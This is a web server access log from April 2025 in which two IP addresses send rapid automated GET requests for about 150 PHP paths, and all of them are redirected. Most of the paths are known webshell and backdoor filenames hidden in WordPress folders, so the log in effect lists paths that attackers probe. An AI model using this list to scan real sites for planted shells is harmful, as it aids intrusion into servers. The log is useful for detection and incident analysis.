[23/Apr/2025:03:22:01 -0400] "GET /wp-admin/css/colors/blue/ovairezah.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:01 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /cgi-bin/cgi-bin/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-admin/images/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-includes/pomo/xml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/plugins/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/db-cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-admin/js/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-includes/fonts/send.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /cache-compat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /css/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-admin/js/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /uploads/gecko.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:01 -0400] "GET /yrlgvupk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-admin/js/about.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-admin/js/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/uploads/2024/09/sst.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-admin/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /ee.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-admin/js/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:01 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-consar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:02 -0400] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /consystem.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-admin/js/wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-includes/IXR/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /_css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 149.88.19.85 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-admin/maint/maint/ajax-actions.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-includes/pomo/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /conf1g.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-includes/class-wpdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /alfanew.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-admin/css/colors/midnight/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-includes/404.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-includes/fonts.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /base.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 149.88.19.85 - - [23/Apr/2025:03:22:02 -0400] "GET /ova-wso.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-admin/includes/lmfi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /adminfuns.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-includes/profile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wsi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 149.88.19.85 - - [23/Apr/2025:03:22:02 -0400] "GET /fm1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-content/uploads/zi_whatisit___bea.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /alfanew2.php7 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:02 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/plugins/wpcall-button/button-image.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/ID3/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:03 -0400] "GET /form.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/plugins/wp-daft/miin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/Text/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/plugins/phpadmin/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.85 - - [23/Apr/2025:03:22:03 -0400] "GET /wpup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/style-css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /images/contact.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/plugins/phpad/acp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/Text/Diff/Engine/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.85 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-2018.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/SimplePie/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/uploads/class.enhanced.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /goat1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/themes/too.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/pomo/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 149.88.19.85 - - [23/Apr/2025:03:22:03 -0400] "GET /siti.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/sitemaps/providers/ultra.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/ms-load-wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-admin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/assets/winnner.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/sitemaps/providers/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:03 -0400] "GET /abe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/plugins/fix/1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/widgets/class-wp-widget-block.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 149.88.19.85 - - [23/Apr/2025:03:22:03 -0400] "GET /insoamv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-content/plugins/classic-addon/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:03 -0400] "GET /wp-includes/SimplePie/gzdecode.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 149.88.19.87 - - [23/Apr/2025:03:22:04 -0400] "GET /images/photo.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; 